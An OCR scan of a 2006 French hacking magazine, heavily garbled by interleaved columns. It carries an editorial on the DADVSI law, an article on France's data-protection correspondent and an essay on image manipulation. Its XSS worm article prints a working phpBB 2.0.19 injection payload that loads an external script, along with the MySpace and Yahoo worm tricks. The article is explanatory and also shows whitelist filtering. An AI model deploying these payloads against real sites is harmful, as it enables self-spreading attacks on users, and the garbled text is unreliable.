NOUVEAUNOUVEAUNOUVEAUNOUVEAUNOUVEAUNOUVEAUNOUVEAU

M €

N° 1 / NOVEMBRE-DECEMBRE 2006 / 4,70 euros

- Les Wo
du Web 2.0

» Ce qui est arrivé & MySpace et Yahoo!Mail
* Analyses techniques¥Parades

Sl

3 . ) 3 & : z -:‘ S '_\ Sile
' tir ."“ \ = 2 h !rs\ ‘_‘\"“""‘ A
AN "’. -‘ vre sl =B ey
N _- ¥
\ # 4 ' g
L - I’
‘ ' “
. =

RFID .
= . les gros
‘L. | dangers

Compte email intracable
\le guide du parano

L 14615-1-F. 4,70 € -RD

W




Un nouveau métier pour les consultants

en sécurité informatique ? p.4

Manipulations d'images p.9 ,
Samy, Yamanner : les vers du Web 2.0 p.10

Le Web en Bref P. 14

Les nouveaux outils de I'anonymat p.16 |
Cryptanalyse, de la théorie a la pratique p.19

Metasploit FrameWork Project p.20

Surf Session p.22

Flash attacks ! p.24

Packers et unpackers en C++ p.28

Qui veut la mort d'Internet ? p.33

RFID, que la lumiére soit ! p.34

RFID et sécurité p.40

Configurer une plateforme d'anonymat sécurisée p.44

« Le bon commergant, RN D P

sl gl INGHNIGSCHOOL MAGAZINE est euie par L PIEUVRE NOIRE,

pas son client, son

citoyen comme un 15 RUE CHEVREUIL - 94 700 MAISONS-ALFORT - Email : Ipn@yahoo.ir
suspect. C'est un Rédaction en chef : Hacking Community

argument fasciste. On Directeur de Publication et représentant légal : André Olivier
entre alors dans une IMpRIME EN FrancE paR ROTO GARONNE 47310 EsTILLAC

logique de répressiol % :
giq : P ,"' LA REDACTION ACCEPTE TOUTES LES CONTRIBUTIONS DE LA COMMUNAUTE
pas de citoyenneté, »

(Alain Weber)

Commission paritaire en cours * Dépét légal a parution + ISSN en cours « © LPN 2006



Novembre-Décembre 2006

n;rés des mois de lobying acharné, le « défesiable » projet de loi DADVSI a finalement été promul-

T A0

ué au journal officiel, le 3 aodt 2006. Le but annoncé de ce texte était de recadrer lu notion de

Le w -y roit d'auteur dans le contexte des nouvelles technologies de |'information. Résultat : échanger de
s Worms . el dos nouy e information. Rsulat - échager

la musique sur Internet est toujours assimilé a de la contrefacon - et passible de prison -, des centaines

dl.l Web 2 0 de logiciels libres rurfuilemenl légitimes sont virtuellement illégaux, et au final, la seule mesure retenue

SR = bt Ao Y pour rééquilibrer le « marché de la culture », concurrencé par la gratuité des réseaux de P2P, reste les

e e protections de type DRM, quasiment sacralisées par la loi, et dont on ne connait pourtant que trop hien

;CQmE,ﬁe E“‘a" mtran;able ‘;;n? ol ['inefficacité (les logiciels FairUsedWM et QTFairUse6, qui ont fait parlé d'eux récemment, n'en sont qu'un
S U S exemple). Que faire ?

Les nombreux collectifs qui ont mené campagne tout au long des déhats parlementaires nous montrent
une voie : I'action citoyenne. Il ne s'agit pas seulement d'une question de droit d"auteur, mais bien de nos
libertés individuelles. S'il est raisonnable que la loi prévienne les préjudices que I'on pourrait porter @
autrui, il est inacceptable qu'elle dicte ce que I'on peut ou ne peut pas faire & fitre rigoureusement privé,
et en parficulier - vous serez sans doute fous d'accord avec moi, si vous lisez nos publications - avec son
ordinateur ou avec les informations qui y sont stockées. Il est urgent, pour chacun, d'agir et de faire savoir
que nous ne voulons pas donner une seule chance & ces dérives législatives qui ménent tout droit au tota-
litarisme.

Le péle de résistance le plus actif du moment - et je regrette que nous n'ayons pas pu en parler d'avan-
tage dans ce numéro - s'articule avtour du Parti Pirate Francais, issu du mouvement international initié
par le parfi suédois du méme nom. Provocatrice et enourée de polémiques, cette action polifigue est
encore difficile a cerner - sans doute parce que les membres qui la font vivre n'adhérent pas d une vision
unique des problémes de société soulevés par Infernet ou le droit d'auteur -  |'exception peut-éire d'un
réve commun de liberté numérique.

S'il n'y aura pas de « pirate » candidat aux présidentielles, 'espére par contre que le Parti saura jover
son role et alimenter efficacement les débats publics des mois & venir.

hitp://www.parti-pirate.info
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oute personne
morale o
physique

(entreprise, ccllec-
tivité locale, parti-

une base de don-
nées
des données per-

By F. Gilbert

contrainte de la déclarer a la CNIL. :

Rappelons qu'une donnée personnelle

dence, éléments biométriques).

Cependant, rares sont ceux qui respec-
tent cette condition. La déclaration est :
pourtant gratuite et une dizaine de jours |
d'attente suffisent avant de recevoir le :
récépissé avec le numéro de déclaration :
en ligne. Trop souvent, les « ficheurs » !
ignorent leurs obligations, et les « fichés :
» leurs droits. Dés le moment ol l'on :
recueille avec votre consentement vos !
données personnelles, vous disposez des !
droits d'information, d'acces, de rectifica- :
tion, de radiation et d'opposition. Selon
une récente étude TNS-Sofres, un peu :
mains d'un Frangais sur quatre a
conscience de ses droits en matiére de :

protection des données personnelles.

plus de rigueur et nous propose de nou-
veaux outils pour cadrer ce phénoméne.
La refonte de la loi fondatrice sur la pro-
tection des données personnelles de

cer les pouvoirs existants de l'autorité
compétente (la Commission nationale
Informatique et libertés, CNIL) pour

culier) qui crée :

e correspondant Informatique

contenant :

: La CNIL a été créée en 1978, alors qu'on présageait

iy *¢ | déja les problémes pour la protection de la vie privée

retrouvye:

- qu'allait soulever l'informatique. Aujourd'hui, quels

en secunte mforma::

créer un nouveau personnage censé

réguler les utilisations : le correspondant
i Informatique et libertés (CIL).
Le cadre juridique évolue pourtant vers [a rij]g de [a c""_

z .
Garantir une utilisation conforme des
: données personnelles par la protection
: des droits des fichés.
1978 (aolt 2004) et son décret d'appli-
cation (octobre 2005) viennent renfor- !
: linformatique, la CNIL a di fortement
revoir sa copie devant ['évolution des
: technologies et le peu de déclarations

Depuis sa création en 1978, au début de

sanctionner les abus et :
. la banque et du travail. L'objet le plus fré-
: quent des plaintes est I'opposition 2 figurer
i dans un fichier: Il convient d'étre conscient
i que la déclaration a la CNIL est obliga-
: toire, et que s'y soustraire expose 4 divers
© risques ; ceux-ci sont de trois ordres :

i« des avertissements lls ont pu &tre don-
: nés aussi bien a des organismes finan-
: ciers qui avaient fiché des personnes
i comme étant insolvables alors qu’elles

- sont nos droits ? Quels sont les obligations des entre-

représente toute information rehtive & & o isag ot administrations ? Et surtout : qui peut veiller

une personne physique identifiée ou sus- @ ° , . .
ceptible de I'étre, directement ou indi- : @ C€ qUe vos bases de données soient en regle ?
rectement par référence a un numéro
d’identification (par exemple votre :
numéro de sécurité sociale) ou un ou
plusieurs éléments qui lui sont propres :
(ex :initiales du nom et du prénom, avec
recoupement d'informations de type : :
date de naissance, commune de rési- :

effectuées (en 2005, seuls 73745 sites
web avaient été déclarés a la CNIL) par
rapport au nombre de traitements
existants (plus d'un million). Par
ailleurs, une directive euro-
péenne adoptée en 1995 sur la
protection des données per-
sonnelles contraignait le gou-
vernement a mettre en
conformité la loi fran-
¢aise, méme si certains
éléments étaient déja
transposes.
La CNIL regoit en moyenne 3500
plaintes par an. Les secteurs
d'activité qui suscitent en
général le nombre le plus
important de plaintes sont les sec-
teurs de la prospection commerciale, de

ne |‘étaient pas (dans ce cas, seule ['in-
tervention de la CNIL a permis le

: « défichage » des personnes concer-
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nées, qui avaient vainement tenté de
I'obtenir auprés de ces établissements),

qu'a I'encontre de banques qui n‘avaient :
: demander en référé au juge d’'ordonner

pas pris de précautions suffisantes pour
assurer la confidentialité des informa-
tions concernant leurs clients (un des
clients a pu accéder, via Internet, en
tapant son mot de passe et son code
d'accés personnels, au compte d'un
autre client).

* le risque pénal Avec la peine lourde de
5 ans d'emprisonnement et 300 000
euros d'amende selon l'article 226-16
IA pour non déclaration simplifiee ou
exonération non respectée, le risque
pénales est en [

po !
“%0urr|ers de Ia CNIL et :

n‘avait donc retiré aucun nom de son
site. :

* le risque civil et administratif Grande

: nouveauté de loi de 2004, en cas d'at-

teinte grave et immédiate aux droits et
libertés, le Président de la CNIL peut

i toute mesure de sécurité utile. Le référé
: est une procédure d'urgence qui sanc-

¢ tionne I'abus s'il est manifestement illi-

.

: cite sans se prononcer sur le fond de

|'affaire.
¢ Par ailleurs, le non respect des régles
: CNIL est bien souvent l'occasion de

¢ bouleverser

.
.

¢ décisions hiérarchiques entre employeur

des contentieux dans le
mode de recueil des preuves et dans des

¢ et salarié. Par

rsrrarrraves

o e
'!es hi rarcE queé%f
s d'une Pl’
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la Poste, un syndicat argue de la conven-
tion collective pour dénoncer cette pra-
tique. Le juge répond pour sa part que la
négociation collective a bien eu lieu et
que cette externalisation appartient au
pouvoir de direction de I'employeur.
Pour empécher cette pratique et se faire
entendre aupres du juge, le syndicat a
argué du non respect des déclarations
des données personnelles dans I'entre-
prise. Le juge a donné raison au syndicat.
* le risque pécuniaire : de nouveaux pou-
voirs pour la CNIL pour agir
) inves-
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ma

modifié la loi du 6 janvier 1978,a doté la :

: Informatique et Liberteés,

CNIL de pouvoirs de sanction adminis-
trative et pécuniaire importants, Au-dela
de l'avertissement, la CNIL peut désor-
mais, aprés une mise en demeure infruc-
tueuse, ordonner une amende ; cette
sanction pécuniaire doit &tre prononcée
non par la formation pléniere de la
Commission mais par une formation res-
treinte.

Il est important de souligner que la capa-
cité de la CNIL a réaliser un nombre de
controles bien plus significatif dépend de
maniere évidente du personnel qui peut
se consacrer a cette tiche. Malgré le
récent accord du gouvernement pour
une augmentation de 50% de ses effectifs
sur 4 ans (d'ici fin 2009, donc) la CNIL
est bien mal lotie en termes de ressour-
ces humaines et financiéres en comparai-
son avec ses homologues européens et
au vu de la charge de travail qu'impli-
quent ses missions.

Consciente de disposer de moyens, en
particulier humains, limités, la CNIL a
cherché une réponse dans l'autorégula-
tion, avec la naissance d'une nouveau
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métier :le correspondant 4 la protection
des données a caractére personnel.
Celui-ci apparait en effet comme un nou-
veau maillon de garantie de respect des
droits des fichés. La dynamique de cette
création est inscrite dans une volonté de
compréhension, voire d'anticipation des
tendances a venir.

Correspondant
Rapport qualité/prix 2

La loi de 2004 et son décret 2005 pré-
voit explicitement la mise en place d’'un
correspondant informatique et libertés.
Le principal enjeu est de se mettre en
conformité avec la loi. La nomination
d'un correspondant permet ainsi de se
mettre en régle et d'éviter d'avoir a faire
les déclarations. Il convient donc d'éva-
luer le rapport entre le colit de mise en
place de cette nouvelle fonction au sein
d’une collectivité et les avantages qu'elle
peut en retirer. Nommer un correspon-
dant Informatique et libertés (CIL)
représente un enjeu pour toute organi-
sation, qu'elle soit du secteur public ou
privé, et refléte une méthode basée sur
la qualité du travail effectué. Le CIL diffu-
sera la culture Informatique et libertés,
permettra d’étre plus réactif dans la mise
en oeuvre de traitements informatisés
de données, de gérer et de valoriser le
patrimoine informationnel du ou des
responsables de ces traitements.

Enfin, les effets induits de la nomination
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du CIL seront importants au sein de la
structure, Outre |'aspect économique et
le gain de temps sur les projets, le cor-
respondant permettra de crédibiliser la
relation de confiance entre salariés et
employeur, mais aussi entre clients et
fournisseurs.

Profil type du CIL

Le correspondant peut étre un responsa-
ble, un employé ou une personne externe
a 'entreprise — comme par exemple le
responsable de la sécurité informatique,
un informaticien, le directeur des services
juridiques, un juriste, un agent du service
du personnel, un consultant, un avocat.
Le correspondant est une personne
bénéficiant de qualifications spécifiques et
variées pour exercer ses missions. |l devra
maitriser certaines compétences techni-
ques fondamentales, dont notamment la
sécurité des systémes d'information (Sl),
les bases de données (BDD), les réseaux
de communications électroniques, I'usage
des TIC sensibles ; il devra également
avoir a son arc des cordes juridique, éco-
nomique et psychologique nécessaires a
cadrer juridiquement des avancées tech-
niques appréhendées par des hommes et
des femmes. |l fera donc preuve de diplo-
matie et de pédagogie en tant que trait
d'union entre employeur et employé.

En plus de ce tronc commun de compé-
tences, les correspondants Informatique
et libertés devront étre sensibles aux
spécificités sectorielles de certains trai-
tements de données personnelles dans
le secteur public, le domaine de la santé
ou encore dans la filiere marchande.

On peut d'ores et déja, au vu des dési-
gnations déja effectuées, dresser le profil
type du correspondant : il est salarié,
professionnel de l'informatique et de la
sécurité et/ou juriste, ou plus minoritai-
rement issu des métiers de |'audit et de

Premiers cotrespondants

Les entreprises ont déja commencé @ nommer
des correspondants. De nombreux organis-
mes publics (URSSAF, OPAC...) et privés
(General electrics, Exxon mobil...) ont ouvert
le chantier de la mise en conformité et ont
désigné un correspondant et affiché leur prise

en compte de la protection des données per-
sonnelles et de la vie privée. Le décaluge
entre le nombre de correspondant ef le nom-
bre d'organismes s'explique par le fait que
certains organismes ont désigné le méme cor-
respondant.




En pratique

Lo désignation doit éire nofifiée a la CNIL par
lettre recommandée avec accusé de réception.
Par ailleurs, les instances représentafives du
personnel doivent éfre averties avec le meme
formalisme de lo nomination du correspon-
dant.

Pour e faire, le dossier @ remplir ef un
modéle de letire o adresser au délégué du
personnel sont disponibles sur le site de le
CNIL. Lo désignation prend effet un mois
aprés la date de réception de la nofification
par la CNIL.

la conformité. Dernier élément, le cor-
respondant, méme si aucun texte du
Code du travail ne vient pour l'instant lui

accorder d'immunité, sera de facto pro- :
tégé 4 lintérieur de I'entreprise et ne :
pourra faire |'objet d’aucune sanction de :

sersansa’e
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la part de I'employeur du fait de I'accom- @ 0

plissement de ses missions. En cas de :
manquement constaté aux devoirs de sa :

mission, le correspondant peut étre
décharge de ses fonctions.

En interne ou en externe ?

Les missions du correspondant peuvent
étre assurées en externalisation dans le
cadre de l'article 44 du décret n°2005-
1309 du 20 octobre 2005.

La premiere question a se poser est de
rechercher si « la perle » est présente dans
I'organigramme de votre structure.

Ensuite, si le nombre de personnes chargées :
de la mise en ceuvre des traitements ou :
ayant directement acces aux traitements :

concernés par la désignation est inférieur a

50, vous pouvez nommer un correspondant :

a I'extérieur de votre structure.

Le marché des correspondants exté- :
rieurs est en création.Au centre du mar- :
ché et de maniére neutre, I'Association :

Frangaise des Correspondants a la
Protectlon des Do

e hhiqaé 1urfdfque ou organlsatlonnelle
du travail et qui sera en mesure d'acqué-
rir par une formation les autres compo-
santes du travail de correspondant (juri-

sarsanseTEAE TSRS

“ Faire preuve de diplomatie
et pédagogie”

i dique, économique, psychalogique). Une : D’abord, il exercera un audit de situation
i formation diplodmante en partenariat : en analysant ['existant, en répertoriant
¢ avec I'Instituc Supérieur d'Electronique : les traitements réalisés et |es deéclara-
i de Paris (école d'ingénieurs) a d'ailleurs i tions adressées 4 la CNIL, en mettant en
: été mise en place — elle dispense tous les : place des procédures de régulation et en
i éléments nécessaires a la prise de fonc- : définissant des points de contrdle
i tions du correspondant : diffusion de la : (charte comportementale, relations
; CIL/CNIL, facteurs de risque externes et

culture Informatique et libertés, métier
internes, gestion du risque données per-

: de correspondant.

sonnelles avec cartographie
Informatique et libertés, prise en compte
des beso s.&;lesm)'

.Le décret permet enfin de désigner un :
correspondant pour plusieurs membres
d'une entité formalisée (chambres des
metlers, par exemple. ou encore URSSAF)" : ser \_

D d’lntgrvenelon \_?par I ﬁtermedlalm. de recomman
= cerres ondant Infbrmatmue et libertés : fadreSSees au responsable du t.ralte
§ se velt confier plusmurs responsabilites et en formallsant la demarche par des
5
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Cet article est une synthese de I'un des dossiers de veille mensuels d'AEC (Aquitaine Europe
Communication), une agence régionale experte dans le champ de la société de I'information. Nous
vous conseillons de consulter les autres dossiers disponibles sur leur site Infernet : logiciels libres et
administration, VoD, VoIP, RFID, biométrie, moteurs de recherche, tout y est. Aucun des aspecis juri-
dique, fechnique, commercial of sucmloglque n'est néglige.

A suivre également, le blog juridique animé par ['auteur sous la forme de questions-réponses : Sur
quels fondements juridiques peut on condamner un "spammeur" ? Peut il y avoir outrage sur un
forum de discussion sur Internet ? Sur quels points juridiques une collectivité doit elle faire attention
lors de la mise en place d'un logiciel libre ? Répanses sur:
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guides de bonnes pratiques et des outils
de mise en conformité (guide pour la
réalisation de la liste des traitements et
guide sur la gestion du droit d'acces et
plan d'action et recherche de la meil-
leure solution selon les moyens a dispo-
sition). Ce sera I'occasion a ce niveau de
se demander s'il faut un correspondant
en externe, en interne ou bien mutualisé
; de déterminer le climat social (cyber-
surveillance) au- sein de la structure ; de
rédiger des chartes, de gérer les colits
du fichage (litiges, droit d'acces) et les
synergies entre services.

Enfin, le suivi des traitements: |ncombe_
également au CIL:par la tenue des listes
exhaustive des traitements et en anno-
tant notamment les finalités des traite-
ments, les services chargés de la mise en
oeuvre, les fonctions permettant le droit
d'acces et de rectification (et, le cas
échéant, le service responsable), les caté-
gories traitées et catégories de person-
nes concernées, les destinataires et les
durées de conservation. Cela concernera
également ['archivage et la conservation
de la preuve et les mesures de protection
du répertoire et de backup (sauvegarde).
Actions complémentaires du noyau dur
de son activité et corollaire de son réle
pédagogique, il effectuera des recomman-
dations aux directions métiers concer-
nant tous les nouveaux traitements.

Le correspondant sera donc conduit a
endosser plusieurs roles aupres du res-
ponsable de traitement : conseil, recom-
mandation, pédagogie, médiation, alerte
et information (bilan annuel). Le CIL est
enfin, et peut-&tre avant tout, un respon-
sable qui aura vocation & &tre au coeur
des grands thémes économiques et

FOMAER06 ~ B Hoef
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du Correspondant
|nformatique
et Libertés

sociétaux des
prochaines
années,

Déontologie
Il s’agit d'une
question  cen-

trale pour cette
nouvelle profes-
sion censée assu-
mer la charge de
Fautorégulation,
avec au centre
I’association
'fraht;aise des
correspondants
~ données person-
nelles.

Nonobstant les
principes régis-
sant la vie privée,
qui exigent une
déontologie adé-
quate, il n'existe
pas pour l'instant
de déontologie
propre a cette
nouvelle profes-
sion. Elle est
pourtant  plus
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Le site de la CNIL regorge d'information sur vos droit, vos devoirs et les différentes lois
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que nécessaire
au vu des doutes sur I'indépendance du
correspondant et sur le controle réel
qu'il effectuera.

Méme si il n'a qu'une obligation de
conseil de moyens, c’est-a-dire qu'il doit
mettre en oeuvre toute sa diligence
pour y arriver, il n'aura que peu de pou-
voir pour inciter son employeur ou son
client a se mettre en conformité si celui-
¢l refuse ou tarde i faire le nécessaire
pour rester dans le cadre de la loi. La
loyauté, le respect de l'image et de la

i confidentialité d'une profession, lindé:

pendance dans d'éventuels conflits d'in-

: térét, la transparence vis-a-vis des fichés
: et des ficheurs sont les bases sur les-
: quelles I'association frangaise des cor-

respondants des données, en concerta-

: tion avec la CNIL, rédige des régles par-
I tagées par tous qui constitueront le fon-

dement de 'appartenance a une commu-
nauté d'intérét et a une communauté
professionnelle qui donnera une réfé-

¢ rence permanente a la fonction de cor-

respondant Informatique et libertés.

Francois Gilbert

Responsable juridique

www.aecom.org
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Etre trompé a l'insu de son plem gré

epuis la nuic : J'aime a soigner ma ligne a coup de junk food mais
des temps : horreur et trahison, le tas informe sur mon plateau

l'image est : i
omniprésegnte, des : Etait loin de ressembler a cet appétissant hamburger
murs de Lascaux a i sur I'affiche en vitrine. M'aurait-on menti ?
ceux du métro. ! e :
Chez ['homme le :
sens le plus solli-
cité est la vue,
c'est aussi le plus
By Minus Virus  facile 3 tromper. La
manipulation par l'image commence par :
la manipulation de limage. L'histoire :

rrtresaranbEar

montre que l'image est un support de : : L) [
propagande trés puissant, un outil de i ﬂ”ﬂh'nmp
communication de masse. Les maitres en : i m; [, ‘,{ f// J

la matiére sont les soviétiques puis les
nazis ont suivi. Staline soucieux de son
image, n'hésitait pas a faire retoucher : |
quelques déails, effacement de person- : |
nes, afin de rétablir un peu d'ordre ! ;
Liimage véhicule des codes, des conven-
tions...c'est de la communication 4 l'état pur. :
Une image seule a déja un pouvoir i
immense mais avec un commentaire ou ;

présentée par une personne de : Juventud Rebelde publiait le |3 aodt dernier « les premieres photographies de Fidel Castro

3 : ¢ depuis I'annonce de son opération » - voir notamment : www.soldiersperspective.us/?p=1159
confiance (présentateur du JT) elle :
devient crédible. La guerre au Kosovo : méme qu'en prenant I'ensemble.
nous a laissé l'imposture du charnier de : Parfois de simples canulars peuvent :
Timisoara, les corps venant d'une morgue : déchainer les passions. Souvenez-vous :
étaient mis en scene pour la photo. Les { de I'image du monstre du loch ness. ;
médias francais annongaient 4630 morts. : Cette histoire a fait le tour du monde et
i a fait couler beaucoup d'encre pour un :
; jouet mis en scéne. Le cinéma déborde :
¢ d'images truquées, Forrest Gump rencon-
: trant Kennedy est une référence.

g j f
7 }'/ Sl lr?/f f ;’

.,,m'

i Montrer un visage suivi d'un cerceuil ou :
i d'un bébé ne suscite pas les mémes |}
émotions. C'est I'effet Koulechov. ]

Il est possible de détecter des montages
d'image, cependant cela reste un exer-
cice assez dur face au travail d'un maf-
tre. C'est avant tout une analyse par

I'ensemble et en détail. '
De nombreux critéres composent

une image équilibrée comme, la pers-

pective, la proportion, les teintes et le
contraste, les ombres et les reflets.
Regardez les médias et apprenez a analy-
ser le montage, isolez les plans, l'informa- :
tion (ou la désinformation) n'est pas la

Dans notre société la vue est le sens le
moins éduqué. Sans apprentissage du
sens critique ni de culture géopolitique,
notre libre arbitre peut &tre mis a mal
par le traditionnel adage « je crois ce
que je vois ». Cette manipulation d'in-

formation est un cheval de Troie psychi-

: que. La voie est indiquée, maintenant

ouvrez les yeux.

Minus Virus




n  Octobre :
2005, le pre-
mier « worm

o xss » est né : Samy,

8 du nom de son
créateur. En moins
de 20 heures il a
infecté 1.000.000
| d'utilisateurs ~ de
MySpace.  Plus

By Blwood

baptisé Yamanner; ce worm xss s'exécu-
tait dés la prévisualisation du message et
s'envoyait 4 tous les contacts d'un utilisa-
teur cible, et ce sans son autorisation. Du

devenait dés lors de plus en plus rapide.

Afin de comprendre le fonctionnement
de ce nouveau type de malwares, nous
allons créer a titre d'exercice un

rabilité récente du célebre phpBB.

Le 5 janvier 2006, une faille xss présente
sur phpBB 2.0.19 fut rendue publique
[1]. Elle provient d'un mauvais filtrage de

sont activées sur le forum (ce que nous
vous déconseillons vivement).

Voici une maniére d'exploiter cette faille :

<B C='> :
onmouseover='alert(
"SecurityReason.Com") '
X='<B '>
SecurityReason.Com
</B>

<PRE A='>'

onmouseover='document .write(

R

aarsastisbATesETarEav LTS

récemment, le 13 :
juin, Yahoo!Mail fut également la victime ;
de cette nouvelle génération de vers : :

coup, les contacts étant eux aussi conta- |
minés de la méme fagon (dés visualisation :
du message), la propagation du worm i

¢ [b]Hackademy Powa[/b]

A Alerte Samy Yamanner les vers du Web 2.0

amanner Il

Oomprendre Io nouvelle menace

Les failles de type XSS sont plus dangereuses qu ‘on
le croit ! Un nouveau type de virus, dont la propagatlon
s'appuie sur ces failles, commence a apparaitre sur le
Net. Cet article vous donnera les éléments dont vous
avez besoin pour comprendre leur fonctionnement et

Ieur |mpact

"<gcript src=
“http://127.0.0.1/xssvirus/
POST/phpbb.js™></script>"
)
B='<PRE' >

</PRE>

Le script sera exécuté dés qu'une personne

¢ passera la souris sur la zone de texte,
embryon de worm a partir d'une vulné- :

¢ Pour poster un message

certaines balises html,.lorsque celles-ci :

ravAaATSARSARSATALTILEIAIYA

Nous pouvons utiliser cette faille xss afin :
qu'un worm, écrit sur une page .js :
externe, puisse s'exécuter sur le forum :

e

. qui permet de créer un post sur le
i forum. On pourrait consulter le code
: PHP du forum, ou méme le code HTML

PO ST S

i Notre but étant d'agir sur le forum, nous :

allons nous intéresser a la requéte http *

Samy se fait des amis

: contenant le formulaire en question. Il

est cependant plus simple d'utiliser par
exemple LiveHTTPheaders pour Firefox
[2], ou HttpWatchBasic pour IE [3].

On peut capturer la requéte suivante, en
postant le message vu précédemment :

POST /posting.php

subject=zihack&message=%3Cpre
+a%3D%27%3E%27+onmouseovers3D
227document .write%28%22%3Cscr
ipt+src%3D%60http33AL2F32F127
.0.0.1%2Fxssvirus$2FPOST32Fph

Samy, l'auteur du Worm, avait pour but de devenir célebre. C'est pourquoi il voulait se faire le plus
d'amis possible sur MySpace. Samy trouva une faille XSS dans MySpace. Beaucoup de halises étaient
filtrées mais, par contre, <div> était acceptée. Certains navigateurs comme Infernet Explorer accep-
tent l'exécution de code javascript dans les balises €SS.

Par exemple :

<div style="background:url('javascript:alert(l)')">

Pour contourner les autres filirages de MySpace, Samy a dd s'appuyer sur certaines parficularités de
IE, toujours trés folérant envers les synfoxes HTML approximatives. Sans rentrer dans les détails, le
cotle uiilisé ressemble ains plus a cedi :
<div id="mycode" expr="alert('hah!')"
style="background:url(' javascript:eval(
document.all.mycode.expr) ')">

(Notez e javascript! coupé par un refour chariot, ignoré par le filire, mais pourtant bien interprété par IE).

Toute I'histoire, ainsi que le code source du worm accompagné d'explications techniques, se frouve
sur le blog de I'auteur (en anglais) :
http://namb.la/popular/
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sima
fl'Hr waert,

n continental

Yamanner Se lll'ﬂtéﬂﬂr en aval

Plus évolué que Samy, Yamanner @ pris d'assaut la messagerie de Yahoo!. Le worm utilisait une I ESRA TSR L - QAP -CRRVeT iy ER T
faille dans le filirage de ce webmail, maintenant corrigée, afin d'exécuter su charge de cette R RN[| TR A LR R IR MR R0
maniere : i évoquions au sujet de la Livebox dans le
<img sre='http://us.il.yimg.com/us.yimg.com/i/us/nt/ma/ i dernier numéro, consiste a utiliser du
ma mail 1.gif' : JavaScript pour provoquer des requétes
target=""onload="[code malicieux]"> GET ou POST a linsu de l'utilisateur :
Le worm était ensuite capable d'extraire toutes les adresses @yahoo.com ou @yahoogroups.com (@) =D zihack

contenues dans les différentes hoites de la victime, et de s'envoyer o chacune d'elles.

Le code source du virus est disponible a cefte adresse : @ *0 zihack
0 zihack

Viawi All Hessager. * R ¢ | :
Paldsrs [Add - £44] g—mﬁ u-uﬁ N = wovar. ; Coligs : @ =0 zihack

B3 nbiox (1) F

gf:: r New Giaphle Sta e Juri 13, 2008 ‘2K

@ Buik {smeny T Ro: gesks Tus Now 22, 2005 2%

Sander Subject Date’ ’E} Size

0 zihack

=0 zihack

pbb.js%60%3E33C{2Fscripti3E%2 La variable f contient I'id de la catégorie : @ I g

2%29%27+b%3D%27%3Cpre%27+%3E% : dans laquelle les messages vont étre

0D%0A%5Bb%5DHackademy+Powa%5B : envoyés.cielle vaut |, c'est a dire la pre-

$2Fb%5D30D%0A%3C:2Fpre%3E&top @ miére catégorie.

ictype=0&poll t1t1e=&add_poll : Leplus durestfalr. lln res(epmwé' de
_option text=&pol 1 i e e olicle

sawsavssrrivrseraans

.
»
.
H
.

v blen connu des améteurs deNA& pouz :

Sxerranaenpea

P

fa que ce smt au nom de la victime :
: que les messages de notre script sont : pu construire des requétes valides. Samy,
i envoyés constitue un gros avantage car il : par exemple, doit connaitre l'identifiant
! sera plus difficile de revenir a la source i de ses nouveaux amis, ainsi que le
i de l'attaque. «token» de l'utilisateur pour se




Alerte ! Samy, Yamanner

Filkrer ¢ ' t du HTMUXHTML
Nous avions déji vanté par le passé les avantages de I'approche « white-listing » du filtrage de
I'himl, qui consiste @ definir explicitement les balises et les attributs autorisés, plutot que d'utiliser
une liste de halises interdites, qui sera toujours incompléte.
La petite hibliotheque kses, utilisée notamment par Wordpress pour filirer le confenu des blogs, o

hien des chances de s'imposer dans le domaine. Voyez plutot :

include 'kses.php';
Sallowed = array('b'
Sval =
Sval

=> array(), 'i
a' => array( 'href'

=> array(),

= 1, 'title' => 1),);

stripslashes($_POST[ 'val']);
kses(Sval, $Sallowed);

Sniffer gmail.com

|-

8] Lo [ul Covote] ool [ui] (] [iml Lumt]

Font colour: Ennt'siae:] Normal |

Font size: [size=x-small]small taxt{{size]

‘Close Tags

pre. a='s"' onmws-over-‘dmrnonmnt;{u soript
re= hittp!//127.0.0.1/xssvirus/POST/phpbb.js” :u/smph") b='<pre' > #

blHackademy Powal/b]
/pre>

Un post en apparence innocent

propager.
Je vous invite a sniffer les requétes

sage sur gmail.com. On peut observer
par exemple ces quelques parametres :
POST /mail/channel/bind?&at=
9e4652452b4666ed-10872cb28edbs
&VER=2&SID=127A6C274842EB3A
&RID=8164&zx=uw0qo279tzxw
HTTP/1.1

Ces valeurs aléatoires correspondent :

en ligne, systémes de votes et autres

{ bookmark sociaux, blogs, etc.
envoyées lorsque vous envoyez un mes- :

: Gonclusion

PR e

grosso modo 4 la session de |'utilisateur, :

impossible a deviner. De cette maniére, il
n'est par exemple pas possible de forcer
un utilisateur 4 envoyer un mail a l'aide
d'un JavaScript lancé depuis une page
extérieure a gmail. Par contre, si l'on
peut exploiter une faille XSS (il y en a :
http://ph3rny.blogspot.com/2006/03/vul-
nerability-in-gmail.html), c'est imparable :
ces clés aléatoires sont obligatoirement
accessibles, sans quoi il ne serait pas possible
d'envoyer de mail du tout,
manuellement.

Cette précaution n'est cependant pas
généralisée a tous les webmails. Par ail-
leurs, de nombreux services peuvent
&tre potentiellement pris pour cible, en
plus des webmails ou des web-interfaces
de routeurs/firewalls/modems : paiements

vednpanee

méme :

Bien sir, vous auriez pu récupérer le
cookie de la victime grice a la faille xss,
mais le but de cet article était de vous
montrez la facilité d'élaboration d'un
worm qui utilise le navigateur de la vic-
time a son insu.

Pour aller plus loin, on aurait également
pu construire une fonction qui renvoie
un id d'une catégorie aléatoirement, on
I'aurait ainsi injecté dans notre requéte.
L'attaque se serait ainsi propagée sur

-
"
»
.

FEAEPARFARAIL AR T ORYE

sanaanpe

I'entiéreté du forum et non sur une seule :

[POST {2019]phnBE2/pasting,php HITR/L.L |

Host: 127.0.0:1

les vers du Web 2.0

i catégorie. En s'attaquant a la messagerie

privée du forum, on pourrait également
gagner en discrétion. Mais tout cela n'est
pas |'objet de cet article.

XenlHE
«it's @

Le « Web 2.0 », 'est le huzz word qui désigne
une nouvelle tendance consistant  considérer
et concevoir les sites Weh comme des applic-
tions distantes, dont les pages affichées dans
le navigateur ne sont qu'une inferface.
Popularisé par Google, cette nouvelle maniére
de développer est réellement en train de révo-
|utionner Internet (netvibes.com, wrifely.com,
elc. etc.). Pour obtenir une interactivité
directe, les développeurs utilisent du
JavaScript et des requétes HTTP spéciales, afin
de metire d jour des éléments dynamiques du
site sans avoir d recharger la page entiere.
Ces requétes renvoieni des données brutes,
par exemple une liste d'objets correspondant
d des criteres de recherche, en général sans
mise en forme, qui seront ensuite placées
dans des fableaux ou des listes du document
dynamiquement, grice au JavaScript et au
DOM. En AJAX, ces données sont représentées
en XML (voir aussi JSON). Clest Microsoft, en
